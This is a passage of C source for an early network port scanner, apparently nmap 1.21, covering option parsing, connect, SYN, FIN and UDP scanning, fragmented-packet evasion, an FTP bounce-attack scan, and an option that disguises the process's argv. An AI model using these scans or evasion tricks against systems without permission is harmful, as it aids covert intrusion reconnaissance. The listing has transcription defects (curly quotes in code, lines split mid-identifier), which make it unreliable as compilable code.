unsigned long calculate_sleep(struct in_addr target);
int check_ident_port(struct in_addr target);
int getidentinfoz(struct in_addr target, int localport, int remoteport,
                  char *owner);
int parse_bounce(struct ftpinfo *ftp, char *url);
int ftp_anon_connect(struct ftpinfo *ftp);

/* port manipulators */
unsigned short *getpts(char *expr); /* someone stole the name getports()! */
unsigned short *getfastports(int tcpscan, int udpscan);
```

```
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
            char *owner);
int deleteport(portlist *ports, unsigned short portno, unsigned short protocol);
void printandfreeports(portlist ports);
int shortfry(unsigned short *ports);

/* socket manipulation functions */
void init_socket(int sd);
int unblock_socket(int sd);
int block_socket(int sd);
int recvtime(int sd, char *buf, int len, int seconds);

/* RAW packet building/dissasembling stuff */
int send_tcp_raw( int sd, struct in_addr *source,
                  struct in_addr *victim, unsigned short sport,
                  unsigned short dport, unsigned long seq,
                  unsigned long ack, unsigned char flags,
                  unsigned short window, char *data,
                  unsigned short datalen);
int isup(struct in_addr target);
unsigned short in_cksum(unsigned short *ptr,int nbytes);
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
                     int sport, int dport, int flags);
int readtcppacket(char *packet, int readdata);
int listen_icmp(int icmpsock, unsigned short outports[],
                unsigned short numtries[], int *num_out,
                struct in_addr target, portlist *ports);

/* general helper functions */
void hdump(unsigned char *packet, int len);
void *safe_malloc(int size);
#endif /* NMAP_H */
<-->

<++> nmap/nmap.c

#include "nmap.h"

/* global options */
short debugging = DEBUGGING;
short verbose = 0;
int number_of_ports  = 0; /* How many ports do we scan per machine? */
int max_parallel_sockets = MAX_SOCKETS;
extern char *optarg;
extern int optind;
short isr00t = 0;
short identscan = 0;
char current_name[MAXHOSTNAMELEN + 1];
unsigned long global_delay = 0;
unsigned long global_rtt = 0;
struct in_addr ouraddr = { 0 };

int main(int argc, char *argv[]) {
int i, j, arg, argvlen;
short fastscan=0, tcpscan=0, udpscan=0, synscan=0, randomize=0;
short fragscan = 0, finscan = 0, quashargv = 0, pingscan = 0, lamerscan = 0;
short bouncescan = 0;
short *ports = NULL, mask;
struct ftpinfo ftp = { FTPUSER, FTPPASS, "", { 0 }, 21, 0};
portlist openports = NULL;
struct hostent *target = 0;
unsigned long int lastip, currentip, longtmp;
char *target_net, *p;
struct in_addr current_in, *source=NULL;
int hostup = 0;
char *fakeargv[argc + 1];

/* argv faking silliness */
for(i=0; i < argc; i++) {
  fakeargv[i] = safe_malloc(strlen(argv[i]) + 1);
  strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
}
fakeargv[argc] = NULL;

if (argc < 2 ) printusage(argv[0]);

/* OK, lets parse these args! */
while((arg = getopt(argc,fakeargv,"b:dFfhilM:Pp:qrS:stUuw:v")) != EOF) {
  switch(arg) {
  case 'b':
    bouncescan++;
    if (parse_bounce(&ftp, optarg) < 0 ) {
      fprintf(stderr, "Your argument to -b is fucked up. Use the normal url style:  user:
pass@server:port or just use server and use default anon login\n  Use -h for help\n");
    }
    break;
  case 'd': debugging++; break;
  case 'F': fastscan++; break;
  case 'f': fragscan++; break;
  case 'h':
  case '?': printusage(argv[0]);
  case 'i': identscan++; break;
  case 'l': lamerscan++; udpscan++; break;
  case 'M': max_parallel_sockets = atoi(optarg); break;
  case 'P': pingscan++; break;
  case 'p':
    if (ports)
      fatal("Only 1 -p option allowed, seperate multiple ranges with commas.");
    ports = getpts(optarg); break;
  case 'r': randomize++; break;
  case 's': synscan++; break;
  case 'S':
    if (source)
      fatal("You can only use the source option once!\n");
    source = safe_malloc(sizeof(struct in_addr));
    if (!inet_aton(optarg, source))
      fatal("You must give the source address in dotted deciman, currently.\n");
    break;
  case 't': tcpscan++; break;
  case 'U': finscan++; break;
  case 'u': udpscan++; break;
  case 'q': quashargv++; break;
  case 'w': global_delay = atoi(optarg); break;
  case 'v': verbose++;
  }
}

/* Take care of user wierdness */
isr00t = !(geteuid()|geteuid());
if (tcpscan && synscan)
  fatal("The -t and -s options can't be used together.\
 If you are trying to do TCP SYN scanning, just use -s.\
 For normal connect() style scanning, use -t");
if ((synscan || finscan || fragscan || pingscan) && !isr00t)
  fatal("Options specified require r00t privileges.  You don't have them!");
if (!tcpscan && !udpscan && !synscan && !finscan && !bouncescan && !pingscan) {
  tcpscan++;
  if (verbose) error("No scantype specified, assuming vanilla tcp connect()\
 scan. Use -P if you really don't want to portscan.");
if (fastscan && ports)
  fatal("You can use -F (fastscan) OR -p for explicit port specification.\
  Not both!\n");
}
/* If he wants to bounce of an ftp site, that site better damn well be reachable! */
if (bouncescan) {
  if (!inet_aton(ftp.server_name, &ftp.server)) {
    if ((target = gethostbyname(ftp.server_name)))
      memcpy(&ftp.server, target->h_addr_list[0], 4);
    else {
      fprintf(stderr, "Failed to resolve ftp bounce proxy hostname/IP: %s\n",
              ftp.server_name);
      exit(1);
    }
  }  else if (verbose)
    printf("Resolved ftp bounce attack proxy to %s (%s).\n",
           target->h_name, inet_ntoa(ftp.server));
}
printf("\nStarting nmap V 1.21 by Fyodor (fyodor@dhp.com, www.dhp.com/~fyodor/nmap/\n");
if (!verbose)
  error("Hint: The -v option notifies you of open ports as they are found.\n");
if (fastscan)
  ports = getfastports(synscan|tcpscan|fragscan|finscan|bouncescan,
                       udpscan|lamerscan);
if (!ports) ports = getpts("1-1024");

/* more fakeargv junk, BTW malloc'ing extra space in argv[0] doesn't work */
if (quashargv) {
  argvlen = strlen(argv[0]);
  if (argvlen < strlen(FAKE_ARGV))
    fatal("If you want me to fake your argv, you need to call the program with a longer n
ame.  Try the full pathname, or rename it fyodorssuperdedouperportscanner");
  strncpy(argv[0], FAKE_ARGV, strlen(FAKE_ARGV));
  for(i = strlen(FAKE_ARGV); i < argvlen; i++) argv[0][i] = '\0';
  for(i=1; i < argc; i++) {
    argvlen = strlen(argv[i]);
    for(j=0; j <= argvlen; j++)
      argv[i][j] = '\0';
  }
}

srand(time(NULL));

while(optind < argc) {

  /* Time to parse the allowed mask */
  target = NULL;
  target_net = strtok(strdup(fakeargv[optind]), "/");
  mask = (p = strtok(NULL,""))? atoi(p) : 32;
  if (debugging)
    printf("Target network is %s, scanmask is %d\n", target_net, mask);

  if (!inet_aton(target_net, &current_in)) {
    if ((target = gethostbyname(target_net)))
      memcpy(&currentip, target->h_addr_list[0], 4);
    else {
      fprintf(stderr, "Failed to resolve given hostname/IP: %s\n", target_net);
    }
  } else currentip = current_in.s_addr;

  longtmp = ntohl(currentip);
  currentip = longtmp & (unsigned long) (0 - pow(2,32 - mask));
  lastip = longtmp | (unsigned long) (pow(2,32 - mask) - 1);
  while (currentip <= lastip) {
    openports = NULL;
    longtmp = htonl(currentip);
    target = gethostbyaddr((char *) &longtmp, 4, AF_INET);
    current_in.s_addr = longtmp;
    if (target)
      strncpy(current_name, target->h_name, MAXHOSTNAMELEN);
    else current_name[0] = '\0';
    current_name[MAXHOSTNAMELEN + 1] = '\0';
    if (randomize)
      shortfry(ports);
#ifdef IGNORE_ZERO_AND_255_HOSTS
    if (IGNORE_ZERO_AND_255_HOSTS
        && (!(currentip % 256) || currentip % 256 == 255))
      {
        printf("Skipping host %s because IGNORE_ZERO_AND_255_HOSTS is set in the source.\
n", inet_ntoa(current_in));
        hostup = 0;
      }
    else{
#endif
      if (isr00t) {
        if (!(hostup = isup(current_in))) {
          if (!pingscan)
            printf("Host %s (%s) appears to be down, skipping scan.\n",
                   current_name, inet_ntoa(current_in));
          else
            printf("Host %s (%s) appears to be  down\n",
                   current_name, inet_ntoa(current_in));
        } else if (debugging || pingscan)
          printf("Host %s (%s) appears to be up ... good.\n",
                 current_name, inet_ntoa(current_in));
      }
      else hostup = 1; /* We don’t really check because the lamer isn’t root.*/
    }

    /* Time for some actual scanning! */
    if (hostup) {
      if (tcpscan) tcp_scan(current_in, ports, &openports);

      if (synscan) syn_scan(current_in, ports, source, fragscan, &openports);

      if (finscan) fin_scan(current_in, ports, source, fragscan, &openports);

      if (bouncescan) {
        if (ftp.sd <= 0) ftp_anon_connect(&ftp);
        if (ftp.sd > 0) bounce_scan(current_in, ports, &ftp, &openports);
          }
      if (udpscan) {
        if (!isr00t || lamerscan)
          lamer_udp_scan(current_in, ports, &openports);

        else udp_scan(current_in, ports, &openports);
      }

      if (!openports && !pingscan)
        printf("No ports open for host %s (%s)\n", current_name,
               inet_ntoa(current_in));
      if (openports) {
        printf("Open ports on %s (%s):\n", current_name,
               inet_ntoa(current_in));
        printandfreeports(openports);
      }
    }
    currentip++;
  }
  optind++;
}

return 0;
}

__inline__ int unblock_socket(int sd) {
int options;
/*Unblock our socket to prevent recvfrom from blocking forever
  on certain target ports. */
options = O_NONBLOCK | fcntl(sd, F_GETFL);
fcntl(sd, F_SETFL, options);
return 1;
}

__inline__ int block_socket(int sd) {
int options;
options = (˜O_NONBLOCK) & fcntl(sd, F_GETFL);
fcntl(sd, F_SETFL, options);
return 1;
}
```

```
/* Currently only sets SO_LINGER, I haven't seen any evidence that this
   helps.  I'll do more testing before dumping it. */
__inline__ void init_socket(int sd) {
struct linger l;

l.l_onoff = 1;
l.l_linger = 0;

if (setsockopt(sd, SOL_SOCKET, SO_LINGER,  &l, sizeof(struct linger)))
  {
   fprintf(stderr, "Problem setting socket SO_LINGER, errno: %d\n", errno);
   perror("setsockopt");
  }
}

/* Convert a string like "-100,200-1024,3000-4000,60000-" into an array
   of port numbers*/
unsigned short *getpts(char *origexpr) {
int exlen = strlen(origexpr);
char *p,*q;
unsigned short *tmp, *ports;
int i=0, j=0,start,end;
char *expr = strdup(origexpr);
ports = safe_malloc(65536 * sizeof(short));
i++;
i--;
for(;j < exlen; j++)
  if (expr[j] != ' ') expr[i++] = expr[j];
expr[i] = '\0';
exlen = i + 1;
i=0;
while((p = strchr(expr,','))) {
  *p = '\0';
  if (*expr == '-') {start = 1; end = atoi(expr+ 1);}
  else {
    start = end = atoi(expr);
    if ((q = strchr(expr,'-')) && *(q+1) ) end = atoi(q + 1);
    else if (q && !*(q+1)) end = 65535;
  }
  if (debugging)
    printf("The first port is %d, and the last one is %d\n", start, end);
  if (start < 1 || start > end) fatal("Your port specifications are illegal!");
  for(j=start; j <= end; j++)
    ports[i++] = j;
  expr = p + 1;
}
if (*expr == '-') {
  start = 1;
  end = atoi(expr+ 1);
}
else {
  start = end = atoi(expr);
  if ((q =  strchr(expr,'-')) && *(q+1) ) end = atoi(q+1);
  else if (q && !*(q+1)) end = 65535;
}
if (debugging)
  printf("The first port is %d, and the last one is %d\n", start, end);
if (start < 1 || start > end) fatal("Your port specifications are illegal!");
for(j=start; j <= end; j++)
  ports[i++] = j;
number_of_ports = i;
ports[i++] = 0;
tmp = realloc(ports, i * sizeof(short));
  free(expr);
  return tmp;
}

unsigned short *getfastports(int tcpscan, int udpscan) {
  int portindex = 0, res, lastport = 0;
  unsigned int portno = 0;
  unsigned short *ports;
  char proto[10];
  char line[81];
  FILE *fp;
  ports = safe_malloc(65535 * sizeof(unsigned short));
  proto[0] = ’\0’;
  if (!(fp = fopen("/etc/services", "r"))) {
    printf("We can’t open /etc/services for reading!  Fix your system or don’t use -f\n")
;
    perror("fopen");
    exit(1);
  }

  while(fgets(line, 80, fp)) {
    res = sscanf(line, "%*s %u/%s", &portno, proto);
    if (res == 2 && portno != 0 && portno != lastport) {
      lastport = portno;
      if (tcpscan && proto[0] == ’t’)
        ports[portindex++] = portno;
      else if (udpscan && proto[0] == ’u’)
        ports[portindex++] = portno;
    }
  }


number_of_ports = portindex;
ports[portindex++] = 0;
return realloc(ports, portindex * sizeof(unsigned short));
}

void printusage(char *name) {
printf("%s [options] [hostname[/mask] . . .]
options (none are required, most can be combined):
   -t tcp connect() port scan
   -s tcp SYN stealth port scan (must be root)
   -u UDP port scan, will use MUCH better version if you are root
   -U Uriel Maimon (P49-15) style FIN stealth scan.
   -l Do the lamer UDP scan even if root.  Less accurate.
   -P ping \"scan\". Find which hosts on specified network(s) are up.
   -b <ftp_relay_host> ftp \"bounce attack\" port scan
   -f use tiny fragmented packets for SYN or FIN scan.
   -i Get identd (rfc 1413) info on listening TCP processes.
   -p <range> ports: ex: \’-p 23\’ will only try port 23 of the host(s)
                  \’-p 20-30,63000-\’ scans 20-30 and 63000-65535 default: 1-1024
   -F fast scan. Only scans ports in /etc/services, a la strobe(1).
   -r randomize target port scanning order.
   -h help, print this junk.  Also see http://www.dhp.com/~fyodor/nmap/
   -S If you want to specify the source address of SYN or FYN scan.
   -v Verbose.  Its use is recommended.  Use twice for greater effect.
   -w <n> delay.  n microsecond delay. Not recommended unless needed.
   -M <n> maximum number of parallel sockets.  Larger isn’t always better.
   -q quash argv to something benign, currently set to \"%s\".
Hostnames specified as internet hostname or IP address.  Optional ’/mask’ specifies subne
t. cert.org/24 or 192.88.209.5/24 scan CERT’s Class C.\n",
       name, FAKE_ARGV);
exit(1);
}

portlist tcp_scan(struct in_addr target, unsigned short *portarray, portlist *ports) {

int starttime, current_out = 0, res , deadindex = 0, i=0, j=0, k=0, max=0;
struct sockaddr_in sock, stranger, mysock;
int sockaddr_in_len = sizeof(struct sockaddr_in);
int sockets[max_parallel_sockets], deadstack[max_parallel_sockets];
unsigned short portno[max_parallel_sockets];
char owner[513], buf[65536];
int tryident = identscan, current_socket /*actually it is a socket INDEX*/;
fd_set fds_read, fds_write;
struct timeval nowait = {0,0},  longwait = {7,0};
```

```
signal(SIGPIPE, SIG_IGN); /* ignore SIGPIPE so our 'write 0 bytes' test
                             doesn't crash our program!*/
owner[0] = '\0';
starttime = time(NULL);
bzero((char *)&sock,sizeof(struct sockaddr_in));
sock.sin_addr.s_addr = target.s_addr;
if (verbose || debugging)
  printf("Initiating TCP connect() scan against %s (%s)\n",
         current_name,  inet_ntoa(sock.sin_addr));
sock.sin_family=AF_INET;
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);

if (tryident)
  tryident = check_ident_port(target);

/* Initially, all of our sockets are "dead" */
for(i = 0 ; i < max_parallel_sockets; i++) {
  deadstack[deadindex++] = i;
  portno[i] = 0;
}

deadindex--;
/* deadindex always points to the most recently added dead socket index */

while(portarray[j]) {
  longwait.tv_sec = 7;
  longwait.tv_usec = nowait.tv_sec = nowait.tv_usec = 0;

  for(i=current_out; i < max_parallel_sockets && portarray[j]; i++, j++) {
    current_socket = deadstack[deadindex--];
    if ((sockets[current_socket] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
      {perror("Socket troubles"); exit(1);}
    if (sockets[current_socket] > max) max = sockets[current_socket];
    current_out++;
    unblock_socket(sockets[current_socket]);
    init_socket(sockets[current_socket]);
    portno[current_socket] = portarray[j];
    sock.sin_port = htons(portarray[j]);
    if ((res = connect(sockets[current_socket],(struct sockaddr *)&sock,sizeof(struct soc
kaddr)))!=-1)
      printf("WTF???? I think we got a successful connection in non-blocking!!@#$\n");
    else {
      switch(errno) {
      case EINPROGRESS: /* The one I always see */
      case EAGAIN:
        block_socket(sockets[current_socket]);
        FD_SET(sockets[current_socket], &fds_write);
        FD_SET(sockets[current_socket], &fds_read);
        break;
      default:
        printf("Strange error from connect: (%d)", errno);
        perror(""); /*falling through intentionally*/
      case ECONNREFUSED:
        if (max == sockets[current_socket]) max--;
        deadstack[++deadindex] = current_socket;
        current_out--;
        portno[current_socket] = 0;
        close(sockets[current_socket]);
        break;
      }
    }
  }
  if (!portarray[j]) sleep(1); /*wait a second for any last packets*/
  while((res = select(max + 1, &fds_read, &fds_write, NULL,
                      (current_out < max_parallel_sockets)?
                      &nowait : &longwait)) > 0) {
    for(k=0; k < max_parallel_sockets; k++)
      if (portno[k]) {
        if (FD_ISSET(sockets[k], &fds_write)
            && FD_ISSET(sockets[k], &fds_read)) {
          /*printf("Socket at port %hi is selectable for r & w.", portno[k]);*/
          res = recvfrom(sockets[k], buf, 65536, 0, (struct sockaddr *)
                         & stranger, &sockaddr_in_len);
          if (res >= 0) {
            if (debugging || verbose)
              printf("Adding TCP port %hi due to successful read.\n",
                     portno[k]);
            if (tryident) {
              if ( getsockname(sockets[k], (struct sockaddr *) &mysock,
                               &sockaddr_in_len ) ) {
                perror("getsockname");
                exit(1);
              }
              tryident = getidentinfoz(target, ntohs(mysock.sin_port),
                                       portno[k], owner);
            }
            addport(ports, portno[k], IPPROTO_TCP, owner);
          }
          if (max == sockets[k])
            max--;
          FD_CLR(sockets[k], &fds_read);
          FD_CLR(sockets[k], &fds_write);
          deadstack[++deadindex] = k;
          current_out--;
          portno[k] = 0;
          close(sockets[k]);
        }
        else if(FD_ISSET(sockets[k], &fds_write)) {
          /*printf("Socket at port %hi is selectable for w only.VERIFYING\n",
            portno[k]);*/
          res = send(sockets[k], buf, 0, 0);
          if (res < 0 ) {
            signal(SIGPIPE, SIG_IGN);
            if (debugging > 1)
              printf("Bad port %hi caught by 0-byte write!\n", portno[k]);
          }
          else {
            if (debugging || verbose)
              printf("Adding TCP port %hi due to successful 0-byte write!\n",
                     portno[k]);
            if (tryident) {
              if ( getsockname(sockets[k], (struct sockaddr *) &mysock ,
                               &sockaddr_in_len ) ) {
                perror("getsockname");
                exit(1);
              }
              tryident = getidentinfoz(target, ntohs(mysock.sin_port),
                                       portno[k], owner);
            }
            addport(ports, portno[k], IPPROTO_TCP, owner);
          }
          if (max == sockets[k]) max--;
          FD_CLR(sockets[k], &fds_write);
          deadstack[++deadindex] = k;
          current_out--;
          portno[k] = 0;
          close(sockets[k]);
        }
        else if ( FD_ISSET(sockets[k], &fds_read) ) {
          printf("Socket at port %hi is selectable for r only.  This is very wierd.\n", p
ortno[k]);
          if (max == sockets[k]) max--;
          FD_CLR(sockets[k], &fds_read);
          deadstack[++deadindex] = k;
          current_out--;
          portno[k] = 0;
          close(sockets[k]);
        }
        else {
          /*printf("Socket at port %hi not selecting, readding.\n",portno[k]);*/
          FD_SET(sockets[k], &fds_write);
          FD_SET(sockets[k], &fds_read);
        }
      }
  }
}

if (debugging || verbose)
  printf("Scanned %d ports in %ld seconds with %d parallel sockets.\n",
         number_of_ports, time(NULL) - starttime, max_parallel_sockets);
return *ports;
}

/* gawd, my next project will be in c++ so I don't have to deal with
   this crap ... simple linked list implementation */
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
            char *owner) {
struct port *current, *tmp;
int len;

if (*ports) {
  current = *ports;
  /* case 1: we add to the front of the list */
  if (portno <= current->portno) {
    if (current->portno == portno && current->proto == protocol) {
      if (debugging || verbose)
        printf("Duplicate port (%hi/%s)\n", portno ,
               (protocol == IPPROTO_TCP)? "tcp": "udp");
      return -1;
    }
    tmp = current;
    *ports = safe_malloc(sizeof(struct port));
    (*ports)->next = tmp;
    current = *ports;
    current->portno = portno;
    current->proto = protocol;
    if (owner && *owner) {
      len = strlen(owner);
      current->owner = malloc(sizeof(char) * (len + 1));
      strncpy(current->owner, owner, len + 1);
    }
    else current->owner = NULL;
  }
  else { /* case 2: we add somewhere in the middle or end of the list */
    while( current->next  && current->next->portno < portno)
      current = current->next;
    if (current->next && current->next->portno == portno
        && current->next->proto == protocol) {
      if (debugging || verbose)
        printf("Duplicate port (%hi/%s)\n", portno ,
               (protocol == IPPROTO_TCP)? "tcp": "udp");
      return -1;
    }
    tmp = current->next;
    current->next = safe_malloc(sizeof(struct port));
    current->next->next = tmp;
    tmp = current->next;
    tmp->portno = portno;
    tmp->proto = protocol;
    if (owner && *owner) {
      len = strlen(owner);
      tmp->owner = malloc(sizeof(char) * (len + 1));
      strncpy(tmp->owner, owner, len + 1);
    }
    else tmp->owner = NULL;
  }
}

else { /* Case 3, list is null */
```

```
  *ports = safe_malloc(sizeof(struct port));
  tmp = *ports;
  tmp->portno = portno;
  tmp->proto = protocol;
  if (owner && *owner) {
    len = strlen(owner);
    tmp->owner = safe_malloc(sizeof(char) * (len + 1));
    strncpy(tmp->owner, owner, len + 1);
  }
  else tmp->owner = NULL;
  tmp->next = NULL;
}
return 0; /*success */
}

int deleteport(portlist *ports, unsigned short portno,
               unsigned short protocol) {
  portlist current, tmp;

  if (!*ports) {
    if (debugging > 1) error("Tried to delete from empty port list!");
    return -1;
  }
  /* Case 1, deletion from front of list*/
  if ((*ports)->portno == portno && (*ports)->proto == protocol) {
    tmp = (*ports)->next;
    if ((*ports)->owner) free((*ports)->owner);
    free(*ports);
    *ports = tmp;
  }
  else {
    current = *ports;
    for(;current->next && (current->next->portno != portno || current->next->proto != pro
tocol); current = current->next);
    if (!current->next)
      return -1;
    tmp = current->next;
    current->next = tmp->next;
    if (tmp->owner) free(tmp->owner);
    free(tmp);
}
  return 0; /* success */
}


void *safe_malloc(int size)
{
  void *mymem;
  if (size < 0)
    fatal("Tried to malloc negative amount of memmory!!!");
  if ((mymem = malloc(size)) == NULL)
    fatal("Malloc Failed! Probably out of space.");
  return mymem;
}

void printandfreeports(portlist ports) {
  char protocol[4];
  struct servent *service;
  port *current = ports, *tmp;

  printf("Port Number  Protocol  Service");
  printf("%s", (identscan)?"         Owner\n":"\n");
  while(current != NULL) {
    strcpy(protocol,(current->proto == IPPROTO_TCP)? "tcp": "udp");
    service = getservbyport(htons(current->portno), protocol);
    printf("%-13d%-11s%-16s%s\n", current->portno, protocol,
           (service)? service->s_name: "unknown",
           (current->owner)? current->owner : "");
    tmp = current;
    current = current->next;
    if (tmp->owner) free(tmp->owner);
    free(tmp);
  }
  printf("\n");
}

/* This is the version of udp_scan that uses raw ICMP sockets and requires
   root priviliges.*/
portlist udp_scan(struct in_addr target, unsigned short *portarray,
                  portlist *ports) {
  int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res,  num_out = 0;
  int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
  unsigned short outports[max_parallel_sockets], numtries[max_parallel_sockets];
  struct sockaddr_in her;
  char senddata[] = "blah\n";
  unsigned long starttime, sleeptime;
  struct timeval shortwait = {1, 0 };
  fd_set  fds_read, fds_write;

  bzero(outports, max_parallel_sockets * sizeof(unsigned short));
  bzero(numtries, max_parallel_sockets * sizeof(unsigned short));

   /* Some systems (like linux) follow the advice of rfc1812 and limit
    * the rate at which they will respons with icmp error messages
    * (like port unreachable).  icmperrlimittime is to compensate for that.
    */
  icmperrlimittime = 60000;

  sleeptime = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 30000 : 1
e5;
if (global_delay) icmperrlimittime = global_delay;

starttime = time(NULL);

FD_ZERO(&fds_read);
FD_ZERO(&fds_write);

if (verbose || debugging)
  printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait delay of %li
usecs.\n", current_name,  inet_ntoa(target), sleeptime);

if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
  perror("Opening ICMP RAW socket");
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  perror("Opening datagram socket");

unblock_socket(icmpsock);
her.sin_addr = target;
her.sin_family = AF_INET;

while(!done) {
  tmp = num_out;
  for(i=0; (i < max_parallel_sockets && portarray[j]) || i < tmp; i++) {
    close(udpsock);
    if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
      perror("Opening datagram socket");
    if ((i > tmp && portarray[j]) || numtries[i] > 1) {
      if (i > tmp) her.sin_port = htons(portarray[j++]);
      else her.sin_port = htons(outports[i]);
      FD_SET(udpsock, &fds_write);
      FD_SET(icmpsock, &fds_read);
      shortwait.tv_sec = 1; shortwait.tv_usec = 0;
      usleep(icmperrlimittime);
      res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
       if (FD_ISSET(udpsock, &fds_write))
          bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                         (struct sockaddr *) &her, sizeof(struct sockaddr_in));
      else {
        printf("udpsock not set for writing port %d!",  ntohs(her.sin_port));
        return *ports;
      }
      if (bytes <= 0) {
        if (errno == ECONNREFUSED) {
          retries = 10;
          do {
            /* This is from when I was using the same socket and would
             * (rather often) get strange connection refused errors, it
             * shouldn't happen now that I create a new udp socket for each
             * port.  At some point I will probably go back to 1 socket again.
             */
            printf("sendto said connection refused on port %d but trying again anyway.\n"
, ntohs(her.sin_port));
            usleep(icmperrlimittime);
            bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                          (struct sockaddr *) &her, sizeof(struct sockaddr_in));
            printf("This time it returned %d\n", bytes);
          } while(bytes <= 0 && retries-- > 0);
        }
        if (bytes <= 0) {
          printf("sendto returned %d.", bytes);
          fflush(stdout);
          perror("sendto");
        }
      }
      if (bytes > 0 && i > tmp) {
        num_out++;
        outports[i] = portarray[j-1];
      }
    }
  }
  usleep(sleeptime);
  tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target, ports);
  if (debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
  done = !portarray[j];
  for (i=0,k=0; i < max_parallel_sockets; i++)
    if (outports[i]) {
      if (++numtries[i] > max_tries - 1) {
        if (debugging || verbose)
          printf("Adding port %d for 0 unreachable port generations\n",
                 outports[i]);
        addport(ports, outports[i], IPPROTO_UDP, NULL);
        num_out--;
        outports[i] = numtries[i] = 0;
      }
      else {
        done = 0;
        outports[k] = outports[i];
        numtries[k] = numtries[i];
        if (k != i)
          outports[i] = numtries[i] = 0;
        k++;
      }
    }
  if (num_out == max_parallel_sockets) {
  printf("Numout is max sockets, that is a problem!\n");
  sleep(1); /* Give some time for responses to trickle back,
               and possibly to reset the hosts ICMP error limit */
  }
}


if (debugging || verbose)
  printf("The UDP raw ICMP scanned %d ports in  %ld seconds with %d parallel sockets.\n",
 number_of_ports, time(NULL) - starttime, max_parallel_sockets);
close(icmpsock);
close(udpsock);
return *ports;
}

int listen_icmp(int icmpsock,  unsigned short outports[],
                unsigned short numtries[], int *num_out, struct in_addr target,
                portlist *ports) {
  char response[1024];
  struct sockaddr_in stranger;
  int sockaddr_in_size = sizeof(struct sockaddr_in);
  struct in_addr bs;
  struct iphdr *ip = (struct iphdr *) response;
  struct icmphdr *icmp = (struct icmphdr *) (response + sizeof(struct iphdr));
  struct iphdr *ip2;
  unsigned short *data;
  int badport, numcaught=0, bytes, i, tmptry=0, found=0;

  while  ((bytes = recvfrom(icmpsock, response, 1024, 0,
                            (struct sockaddr *) &stranger,
                            &sockaddr_in_size)) > 0) {
  numcaught++;
  bs.s_addr = ip->saddr;
  if (ip->saddr == target.s_addr && ip->protocol == IPPROTO_ICMP
      && icmp->type == 3 && icmp->code == 3) {
    ip2 = (struct iphdr *) (response + 4 * ip->ihl + sizeof(struct icmphdr));
    data = (unsigned short *) ((char *)ip2 + 4 * ip2->ihl);
    badport = ntohs(data[1]);
    /*delete it from our outports array */
    found = 0;
    for(i=0; i < max_parallel_sockets; i++)
      if (outports[i] == badport) {
        found = 1;
        tmptry = numtries[i];
        outports[i] = numtries[i] = 0;
        (*num_out)--;
        break;
      }
    if (debugging && found && tmptry > 0)
      printf("Badport: %d on try number %d\n", badport, tmptry);
    if (!found) {
      if (debugging)
        printf("Badport %d came in late, deleting from portlist.\n", badport);
      if (deleteport(ports, badport, IPPROTO_UDP) < 0)
        if (debugging) printf("Port deletion failed.\n");
    }
  }
  else {
    printf("Funked up packet!\n");
  }
}
  return numcaught;
}

/* This fucntion is nonsens.  I wrote it all, really optimized etc.  Then
   found out that many hosts limit the rate at which they send icmp errors :(
   I will probably totally rewrite it to be much simpler at some point.  For
   now I won't worry about it since it isn't a very important functions (UDP
   is lame, plus there is already a much better function for people who
   are r00t */
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
                        portlist *ports) {
int sockaddr_in_size = sizeof(struct sockaddr_in),i=0,j=0,k=0, bytes;
int sockets[max_parallel_sockets], trynum[max_parallel_sockets];
unsigned short portno[max_parallel_sockets];
int last_open = 0;
char response[1024];
struct sockaddr_in her, stranger;
char data[] = "\nhelp\nquit\n";
unsigned long sleeptime;
unsigned int starttime;

/* Initialize our target sockaddr_in */
bzero((char *) &her, sizeof(struct sockaddr_in));
her.sin_family = AF_INET;
her.sin_addr = target;
```

```
if (global_delay) sleeptime = global_delay;
else sleeptime =  calculate_sleep(target) + 60000; /*large to be on the
                                                     safe side */

if (verbose || debugging)
  printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", current_name,
         inet_ntoa(target), sleeptime);

starttime = time(NULL);

for(i = 0 ; i < max_parallel_sockets; i++)
  trynum[i] =  portno[i] = 0;

while(portarray[j]) {
  for(i=0; i < max_parallel_sockets && portarray[j]; i++, j++) {
    if (i >= last_open) {
      if ((sockets[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
        {perror("datagram socket troubles"); exit(1);}
      block_socket(sockets[i]);
      portno[i] = portarray[j];
    }
    her.sin_port = htons(portarray[j]);
    bytes = sendto(sockets[i], data, sizeof(data), 0, (struct sockaddr *) &her,
                   sizeof(struct sockaddr_in));
    usleep(5000);
    if (debugging > 1)
      printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
             bytes, sockets[i], portno[i], trynum[i]);
    if (bytes < 0 ) {
      printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
             errno);
      perror("");
      trynum[i] = portno[i] = 0;
      close(sockets[i]);
    }
  }
  last_open = i;
  /* Might need to change this to 1e6 if you are having problems*/
  usleep(sleeptime + 5e5);
  for(i=0; i < last_open ; i++) {
    if (portno[i]) {
      unblock_socket(sockets[i]);
      if ((bytes = recvfrom(sockets[i], response, 1024, 0,
                            (struct sockaddr *) &stranger,
                            &sockaddr_in_size)) == -1)
        {
          if (debugging > 1)
            printf("2nd recvfrom on port %d returned %d with errno %d.\n",
                   portno[i], bytes, errno);
          if (errno == EAGAIN /*11*/)
            {
              if (trynum[i] < 2) trynum[i]++;
              else {
                if (RISKY_UDP_SCAN) {
